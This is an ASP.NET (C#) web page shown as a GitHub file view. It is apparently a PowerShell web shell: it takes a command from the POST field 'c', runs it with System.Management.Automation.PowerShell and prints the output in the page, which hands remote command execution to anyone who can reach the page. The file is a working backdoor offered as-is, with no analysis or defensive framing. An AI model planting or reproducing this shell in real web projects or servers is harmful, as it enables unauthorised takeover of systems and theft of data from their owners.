-
Notifications
You must be signed in to change notification settings - Fork 6
/
Poweraspx.aspx
43 lines (41 loc) · 1.09 KB
/
Poweraspx.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@ Page Language="C#"%>
<%@ Import Namespace="System" %>
<script runat="server" language="c#">
string stdout = "";
string stderr = "";
void Page_Load(object sender, System.EventArgs e) {
if (Request.Form["c"] != null)
{
try
{
var shell = System.Management.Automation.PowerShell.Create();
shell.AddCommand(Request.Form["c"]);
var result = shell.Invoke();
foreach (var psObject in result)
{
stdout += psObject.BaseObject.ToString() + "\r\n";
}
}
catch (Exception ex)
{
stdout+= ex.ToString();
}
}
}
</script>
<html>
<head><title>TEST TEST</title></head>
<body onload="document.shell.c.focus()">
<form method="post" name="shell">
Command to execute <input type="text" name="c"/>
<input type="submit"><br/>
Output:<br/>
<pre><% = stdout.Replace("<", "<") %></pre>
<br/>
<br/>
<br/>
Error:<br/>
<pre><% = stderr.Replace("<", "<") %></pre>
</form>
</body>
</html>